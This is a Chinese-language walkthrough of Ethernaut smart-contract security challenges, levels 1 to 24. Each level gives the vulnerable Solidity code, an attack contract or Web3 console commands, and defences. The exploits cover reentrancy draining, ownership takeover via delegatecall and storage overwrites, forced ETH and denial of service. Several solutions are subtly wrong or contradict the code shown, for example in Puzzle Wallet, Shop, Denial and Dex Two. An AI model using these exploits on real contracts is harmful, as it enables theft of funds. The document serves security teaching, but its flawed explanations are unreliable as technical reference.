OpenZeppelin Ethernaut 闯关笔记

概述

Ethernaut 是 OpenZeppelin 创建的智能合约安全挑战平台,旨在帮助开发者学习 Solidity 和智能合约安全。本笔记涵盖前24关的详细解析。

环境说明:以下攻击代码适用于 Ethernaut 控制台环境(使用 Web3.js),部分攻击合约可在 Remix IDE 中部署测试。

Level 1: Fallback

目标:成为合约 owner 并清空余额

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
contract Fallback {
mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

// receive 函数:接收 ETH 时触发
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
// 1. 先贡献少量 ETH(小于 0.001 ETH)
await contract.contribute({value: toWei("0.0005")})

// 2. 发送 ETH 触发 receive() 函数
await sendTransaction({to: contract.address, value: toWei("0.0001")})

// 3. 此时已是 owner,提取所有 ETH
await contract.withdraw()

漏洞原因receive() 函数可以修改 owner,且仅要求调用者有非零贡献,条件过于宽松。

防范措施

  • receive()/fallback() 中避免修改关键状态变量
  • 使用 onlyOwner 等修饰符限制敏感操作
  • 理解 receive()(仅接收 ETH)和 fallback()(接收 ETH 或匹配不到函数时调用)的区别

Level 2: Fallout

目标:成为合约 owner

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
contract Fallout {
mapping (address => uint) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = payable(msg.sender);
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function allocate() public payable {
allocations[msg.sender] += msg.value;
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

攻击方法

javascript

1
2
3
// 构造函数名称拼写错误:Fal1out 而不是 Fallout
// 任何人都可以调用这个"假构造函数"
await contract.Fal1out()

漏洞原因:构造函数名拼写错误(Fal1out vs Fallout),导致它成为普通函数,任何人都可以调用并成为 owner。

防范措施:始终使用 constructor() 关键字定义构造函数,避免依赖合约名。


Level 3: Coin Flip

目标:连续猜对 10 次硬币翻转结果

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 攻击合约:在同一个交易中计算并提交正确的猜测
contract CoinFlipAttack {
CoinFlip target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _target) {
target = CoinFlip(_target);
}

function attack() public {
// 使用当前区块的哈希计算结果(和合约的计算方式完全一致)
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool guess = coinFlip == 1 ? true : false;

target.flip(guess);
}
}

漏洞原因:使用 blockhash 作为随机数来源,而区块哈希是公开可预测的。

防范措施

  • 不要使用链上可预测的值(blockhashtimestampdifficulty)生成随机数
  • 使用 Chainlink VRF 等链下随机数预言机
  • 采用 commit-reveal 模式

Level 4: Telephone

目标:成为合约 owner

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 攻击合约:通过合约调用触发 changeOwner
contract TelephoneAttack {
Telephone target;

constructor(address _target) {
target = Telephone(_target);
}

function attack() public {
// 此时 tx.origin = 用户地址,msg.sender = 攻击合约地址
// 两者不相等,条件满足
target.changeOwner(msg.sender);
}
}

漏洞原因:混淆 tx.origin(交易发起者)和 msg.sender(直接调用者)。

防范措施:使用 msg.sender 进行身份验证,避免使用 tx.origin(除非明确需要区分直接调用和间接调用)。


Level 5: Token

目标:获取更多 token(初始拥有 20 个)

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Token {
mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

攻击方法

javascript

1
2
3
// 整数下溢攻击:初始有 20 个 token,尝试转出 21 个
// 20 - 21 = -1,在 Solidity 0.8.0 之前会下溢为 2^256 - 1
await contract.transfer(player, 21)

漏洞原因:Solidity 0.8.0 之前版本没有内置整数溢出检查,减法操作可能导致下溢。

防范措施

  • 使用 Solidity 0.8.0 或更高版本(内置溢出检查)
  • 或使用 OpenZeppelin 的 SafeMath 库
  • 使用 require(balances[msg.sender] >= _value) 进行前置检查

Level 6: Delegation

目标:成为合约 owner

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
// 构造调用 pwn() 函数的数据
const data = web3.eth.abi.encodeFunctionSignature("pwn()")

// 发送交易,触发 fallback,通过 delegatecall 执行 Delegate.pwn()
await sendTransaction({
to: contract.address,
data: data
})

漏洞原因delegatecall 在目标合约的代码上下文中执行,但使用调用合约的存储布局。pwn() 修改 owner 时,实际修改的是 Delegation 合约的 owner 变量。

防范措施

  • 谨慎使用 delegatecall,确保目标合约可信且存储布局兼容
  • 使用代理模式时注意存储槽冲突(如 EIP-1967)

Level 7: Force

目标:让合约拥有 ETH 余额(合约没有 receivefallback 函数)

solidity

1
2
3
contract Force {
/* 没有 receive 或 fallback 函数 */
}

攻击方法

solidity

1
2
3
4
5
6
7
// 攻击合约:使用 selfdestruct 强制向任意地址发送 ETH
contract ForceAttack {
constructor(address payable target) payable {
// 销毁时将所有 ETH 强制发送给 target
selfdestruct(target);
}
}

部署

  1. 部署 ForceAttack 并附带少量 ETH
  2. 合约销毁时,ETH 强制转入目标合约,无视任何 receive/fallback 限制

漏洞原因selfdestruct 可以强制向任何地址发送 ETH,不受合约接收逻辑的限制。

防范措施:不要依赖 address(this).balance == 0 作为安全判断条件。


Level 8: Vault

目标:解锁保险箱

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

攻击方法

javascript

1
2
3
// 从存储槽 1 读取 password(槽 0 是 locked)
const password = await web3.eth.getStorageAt(contract.address, 1)
await contract.unlock(password)

漏洞原因private 变量仅阻止其他合约读取,但在链上所有存储数据都是公开可见的。

防范措施:不要在合约中存储密码、私钥等敏感信息。如需存储,使用加密或链下存储。


Level 9: King

目标:成为永久国王(阻止其他人成为国王)

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract King {
address payable king;
uint public prize;
address payable public owner;

constructor() payable {
owner = payable(msg.sender);
king = payable(msg.sender);
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = payable(msg.sender);
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
// 攻击合约:没有 receive 和 fallback 函数
// 当 King 合约尝试向本合约转账时会失败,阻止后续国王更替
contract KingAttack {
constructor(address payable target) payable {
// 发起攻击,成为国王
(bool success, ) = target.call{value: msg.value}("");
require(success);
}

// 故意不实现 receive/fallback,拒绝接收 ETH
}

漏洞原因transfer 在接收方无法接收 ETH 时会回滚,导致后续交易失败。

防范措施:使用 pull 支付模式(让用户主动取款)而非 push 模式(主动转账),避免转账失败阻塞关键逻辑。


Level 10: Re-entrancy

目标:盗取合约中所有 ETH

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Reentrance {
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] += msg.value;
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
// 先转账,后更新余额(危险!)
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract ReentranceAttack {
Reentrance target;
uint public amount = 0.001 ether;

constructor(address _target) payable {
target = Reentrance(_target);
}

function attack() public payable {
// 先捐款获得余额
target.donate{value: amount}(address(this));
// 发起提款,触发重入
target.withdraw(amount);
}

// 收到 ETH 时再次调用 withdraw,实现重入
receive() external payable {
if (address(target).balance >= amount) {
target.withdraw(amount);
}
}
}

漏洞原因:先转账后更新余额,允许攻击者在转账过程中递归调用 withdraw,提取超过其存款的金额。

防范措施:遵循 checks-effects-interactions 模式:

  • Checks:检查条件(如余额充足)
  • Effects:更新状态(如减少余额)
  • Interactions:执行外部调用(如转账)

solidity

1
2
3
4
5
6
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount; // 先更新状态
(bool result,) = msg.sender.call{value:_amount}(""); // 后外部调用
require(result);
}

Level 11: Elevator

目标:到达顶层(设置 top = true

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
interface Building {
function isLastFloor(uint) external returns (bool);
}

contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 攻击合约实现 Building 接口
contract ElevatorAttack is Building {
bool public toggle = true;

// 第一次调用返回 false(允许继续),第二次调用返回 true(设置 top)
function isLastFloor(uint) external override returns (bool) {
toggle = !toggle;
return toggle;
}

function attack(address target) public {
Elevator(target).goTo(1);
}
}

漏洞原因:合约假设外部调用返回值是一致的,但攻击合约可以改变状态导致两次调用返回不同结果。

防范措施:不要假设外部调用的返回值是确定的,对不可信合约的调用应保持警惕。


Level 12: Privacy

目标:解锁合约

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}

存储布局分析

  • 槽 0:locked (1 字节) + 空余填充
  • 槽 1:ID (32 字节)
  • 槽 2:flattening (1 字节) + denomination (1 字节) + awkwardness (2 字节) + 空余填充
  • 槽 3:data[0] (32 字节)
  • 槽 4:data[1] (32 字节)
  • 槽 5:data[2] (32 字节) ← 目标数据

攻击方法

javascript

1
2
3
4
5
// 读取槽 5 的 data[2]
const data = await web3.eth.getStorageAt(contract.address, 5)
// bytes16 需要 32 个十六进制字符(16 字节),加上 "0x" 前缀共 34 个字符
const key = data.slice(0, 34) // 取前 16 字节
await contract.unlock(key)

漏洞原因private 数据在链上可见,存储布局可预测。

防范措施:不在链上存储未加密的敏感数据。


Level 13: Gatekeeper One

目标:通过三个修饰器限制,成为 entrant

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract GatekeeperOneAttack {
function attack(address target, bytes8 key) public {
// gateTwo 要求剩余 gas % 8191 == 0
// 通过循环尝试找到正确的 gas 值
for (uint256 i = 0; i < 8191; i++) {
try GatekeeperOne(target).enter{gas: 8191 * 10 + i}(key) {
break;
} catch {}
}
}

// 构造符合 gateThree 条件的 key
function computeKey(address addr) public pure returns (bytes8) {
// 需要满足三个条件:
// 1. uint32(key) == uint16(key) → 高16位必须为0
// 2. uint32(key) != uint64(key) → 高32位不能全为0
// 3. uint32(key) == uint16(tx.origin) → 低16位等于地址的低16位
uint16 addrLow16 = uint16(uint160(addr));
uint32 key32 = uint32(addrLow16);
return bytes8(uint64(key32));
}
}

漏洞原因

  • gasleft() 可被调用者控制,通过循环可以找到满足条件的 gas 值
  • gateThree 的类型转换条件可被精确构造

防范措施:避免依赖剩余 gas 的计算,避免使用复杂的类型转换作为安全边界。

Level 14: Gatekeeper Two

目标:通过三个修饰器限制,成为 entrant

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
contract GatekeeperTwoAttack {
constructor(address target) {
// 在构造函数中调用,此时 extcodesize 为 0(代码尚未部署)
bytes8 key = bytes8(
uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max
);
GatekeeperTwo(target).enter(key);
}
}

漏洞原因

  • 构造函数执行时,extcodesize(caller()) 返回 0
  • gateThree 的异或运算可逆:key = hash(msg.sender) ^ type(uint64).max

防范措施

  • extcodesize == 0 不能可靠判断是否为合约(构造函数期间也返回 0)
  • 使用 tx.origin == msg.sender 判断是否为外部账户(但要注意钓鱼攻击)

Level 15: Naught Coin

目标:在时间锁到期前转移所有 token

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract NaughtCoin is ERC20 {
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
9
// transfer 被 lockTokens 限制,但 transferFrom 没有被重写
const amount = await contract.balanceOf(player)

// 授权自己花费这些 token
await contract.approve(player, amount)

// 通过 transferFrom 绕过时间锁限制
// 可以将 token 转到自己的另一个地址或任何地址
await contract.transferFrom(player, "0x你的其他地址", amount)

漏洞原因:只重写了 transfer,没有重写 transferFrom,攻击者可以通过 approve + transferFrom 绕过限制。

防范措施:重写 ERC20 函数时,需考虑所有转账路径(transfertransferFromburn 等)。


Level 16: Preservation

目标:成为合约 owner

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodeWithSignature("setTime(uint256)", _timeStamp));
}

function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodeWithSignature("setTime(uint256)", _timeStamp));
}
}

contract LibraryContract {
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 攻击合约:存储布局与 Preservation 的前三个变量对齐
contract PreservationAttack {
address public timeZone1Library; // 槽 0
address public timeZone2Library; // 槽 1
address public owner; // 槽 2

// 当 Preservation 通过 delegatecall 调用此函数时
// 修改的是 Preservation 合约的存储
function setTime(uint _time) public {
// _time 参数被写入槽 2,即 owner
owner = msg.sender;
}

function attack(address target) public {
// 第一步:将 timeZone1Library 改为攻击合约地址
Preservation(target).setFirstTime(uint256(uint160(address(this))));

// 第二步:再次调用,触发 delegatecall 到攻击合约
// 攻击合约的 setTime 会修改 Preservation 的 owner
Preservation(target).setFirstTime(0);
}
}

漏洞原因

  • delegatecall 保留调用方的存储上下文
  • PreservationLibraryContract 的存储布局不同,导致 setTime 修改 storedTime 时,实际修改了 timeZone1Library(槽 0)
  • 攻击者可以通过控制 timeZone1Library 来劫持后续的 delegatecall

防范措施

  • 使用代理模式时确保存储布局一致
  • 使用 EIP-1967 标准存储槽避免冲突
  • 考虑使用不可变代理(EIP-897)

Level 17: Recovery

目标:找回丢失的 token

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Recovery {
// 创建了 SimpleToken 合约但丢失了地址
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, _initialSupply);
}
}

contract SimpleToken {
address public owner;

constructor(string memory name, uint256 initialSupply) {
owner = msg.sender;
}

function destroy(address payable _to) public {
require(msg.sender == owner);
selfdestruct(_to);
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
9
10
// 计算合约地址:create 地址 = keccak256(rlp.encode([sender, nonce]))
// 在 Ethernaut 中,通常使用工具或手动计算
// 找到地址后调用 destroy

const targetAddress = "计算出的合约地址"
await web3.eth.sendTransaction({
to: targetAddress,
data: web3.eth.abi.encodeFunctionSignature("destroy(address)") +
"000000000000000000000000" + player.slice(2)
})

漏洞原因:合约地址可通过创建者地址和 nonce 计算得出,不是随机值。

防范措施:使用 create2 可预测地址时需谨慎;对于丢失的地址,应记录合约部署信息。


Level 18: MagicNumber

目标:部署一个返回 42 的合约,且代码不超过 10 字节

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract MagicNum {
address public solver;

constructor() {
solver = msg.sender;
}

function setSolver(address _solver) public {
solver = _solver;
}

/*
要求:_solver 是一个合约,调用 whatIsTheMeaningOfLife() 返回 42
合约代码字节数不超过 10
*/
}

攻击方法:编写 EVM 汇编直接返回 42

text

1
2
3
4
5
6
// 运行时字节码
// 600a600c600039600a6000f3 // 部署代码
// 602a60005260206000f3 // 运行时代码(返回 42)

完整字节码(部署代码 + 运行时代码):
600a600c600039600a6000f3602a60005260206000f3

javascript

1
2
3
4
// 部署后调用 setSolver
const bytecode = "0x600a600c600039600a6000f3602a60005260206000f3"
// 部署合约...
await contract.setSolver(deployedAddress)

漏洞原因:合约可以通过极简的 EVM 字节码实现任意功能。

防范措施extcodesize 检查无法防止极简合约,需结合其他验证方式。


Level 19: Alien Codex

目标:成为 owner

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract AlienCodex {
address public owner;
bool public contact;
bytes32[] public codex;

constructor() {
owner = msg.sender;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) public {
require(contact);
codex.push(_content);
}

function retract() public {
require(contact);
codex.length--;
}

function revise(uint i, bytes32 _content) public {
require(contact);
codex[i] = _content;
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 1. 先建立联系
await contract.make_contact()

// 2. 调用 retract() 导致数组长度下溢
// 初始 codex.length = 0,减 1 后变成 2^256 - 1
await contract.retract()

// 3. 计算 owner 所在的存储槽
// owner 在槽 0,动态数组 codex 在槽 1
// 槽 1 存储数组长度,实际数据从 keccak256(1) 开始
// owner 在槽 0,对应数组索引 = (0 - keccak256(1)) % 2^256
const ownerSlot = 0
const baseSlot = web3.utils.soliditySha3(1)
const index = (BigInt(ownerSlot) - BigInt(baseSlot) + 2n ** 256n) % 2n ** 256n

// 4. 修改 owner
await contract.revise(index, player)

漏洞原因

  • 动态数组 length-- 在长度为 0 时导致整数下溢
  • 下溢后可以访问任意存储槽,包括 owner 所在的槽 0

防范措施

  • 使用 SafeMath 或 Solidity 0.8.0+ 防止下溢
  • 添加 require(codex.length > 0) 检查

Level 20: Denial

目标:阻止 owner 提取资金

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract Denial {
address public owner;

constructor() {
owner = msg.sender;
}

function withdraw() public {
require(msg.sender == owner);
payable(owner).transfer(address(this).balance);
}

receive() external payable {
// 任何人都可以向此合约发送 ETH
}

// 目标:让 withdraw 永远失败
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract DenialAttack {
Denial target;

constructor(address _target) payable {
target = Denial(_target);
}

receive() external payable {
// 使用无限循环消耗 gas
while (true) {}
}

function attack() public payable {
// 向目标发送 ETH,触发 receive
target.call{value: msg.value}("");
}
}

漏洞原因transfer 有 2300 gas 限制,如果接收方合约的 receive/fallback 消耗超过 2300 gas(如无限循环),转账会失败。

防范措施:使用 pull 支付模式,让用户主动取款,而不是合约主动推送。


Level 21: Shop

目标:让 price 小于 isSold 检查时的值

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer buyer = Buyer(msg.sender);

if (buyer.price() >= price && !isSold) {
isSold = true;
price = buyer.price();
}
}
}

攻击方法

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract ShopAttack is Buyer {
Shop target;
bool public toggle = true;

function price() external view override returns (uint) {
if (toggle) {
toggle = false;
return 100; // 第一次调用 >= 100,通过检查
} else {
return 0; // 第二次调用返回 0,设置 price = 0
}
}

function attack(address _target) public {
target = Shop(_target);
target.buy();
}
}

漏洞原因price() 两次调用返回值不一致。虽然声明为 view,但攻击者可以通过状态变量返回不同值。

防范措施:使用 pure 限制纯函数,或缓存第一次调用结果。


Level 22: Dex

目标:盗取所有 token

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
contract Dex {
address public token1;
address public token2;

constructor(address _token1, address _token2) {
token1 = _token1;
token2 = _token2;
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1));
require(IERC20(from).balanceOf(msg.sender) >= amount);

uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns (uint) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
9
// 反复交换,利用价格计算漏洞逐步耗尽池子
// 初始:token1 余额 100,token2 余额 100
// 攻击者先买入 token2,再买入 token1,反复操作

// 第一步:用 10 token1 换 token2
await contract.swap(token1, token2, 10)

// 继续交换直到池子中一个 token 被耗尽
// 最终可以清空池子

漏洞原因:价格计算公式没有考虑流动性变化,且没有使用恒定乘积公式(Uniswap 模型)。

防范措施:使用经过审计的 AMM 公式(如 x*y=k),避免基于余额的简单线性定价。


Level 23: Dex Two

目标:盗取所有 token

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract DexTwo {
address public token1;
address public token2;

constructor(address _token1, address _token2) {
token1 = _token1;
token2 = _token2;
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1) ||
(from == token1 && to == token2) || (from == token2 && to == token1));
// 注意:这里缺少了配对检查,任何 token 都可以交易

uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns (uint) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
}

攻击方法

javascript

1
2
3
4
5
6
// 部署一个假 token
// 用假 token 从池子中换出真实 token

// 1. 部署假 token 合约
// 2. 转移一些假 token 到 DEX
// 3. 用假 token 换取 token1 和 token2

漏洞原因swap 函数没有限制交易对,任何 token 都可以参与交易,导致通过控制假 token 的余额操纵价格。

防范措施:严格限制交易对,或使用白名单机制。


Level 24: Puzzle Wallet

目标:成为 admin

solidity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
contract PuzzleProxy {
address public admin;
address public pendingAdmin;
address public owner;

constructor(address _admin) {
admin = _admin;
owner = msg.sender;
}

function proposeNewAdmin(address _newAdmin) public {
pendingAdmin = _newAdmin;
}

function approveNewAdmin() public {
require(msg.sender == pendingAdmin);
admin = pendingAdmin;
}
}

contract PuzzleWallet {
address public owner;
uint public maxBalance;
bool public init = true;

modifier onlyWhitelisted(address _addr) {
// 白名单检查
_;
}

function setMaxBalance(uint _maxBalance) public {
require(address(this).balance == 0);
maxBalance = _maxBalance;
}

function init() public {
require(init);
owner = msg.sender;
init = false;
}

function addToWhitelist(address _addr) public onlyWhitelisted(msg.sender) {
// 添加白名单
}
}

攻击方法

javascript

1
2
3
4
5
6
7
8
9
10
11
12
// 利用存储布局混淆(PuzzleProxy 和 PuzzleWallet 共享存储)

// 1. 调用 proposeNewAdmin 修改 PuzzleWallet 的 owner
await proxy.proposeNewAdmin(player)

// 2. 调用 init() 成为 PuzzleWallet 的 owner
await wallet.init()

// 3. 通过存储槽冲突修改 admin
// PuzzleProxy.admin 和 PuzzleWallet.maxBalance 共享槽 1
// 设置 maxBalance 可以修改 admin
await wallet.setMaxBalance(playerAddress)

漏洞原因:代理合约和逻辑合约的存储布局不一致,导致变量覆盖。

防范措施:严格遵循 EIP-1967 标准,确保代理和逻辑合约的存储布局一致且无冲突。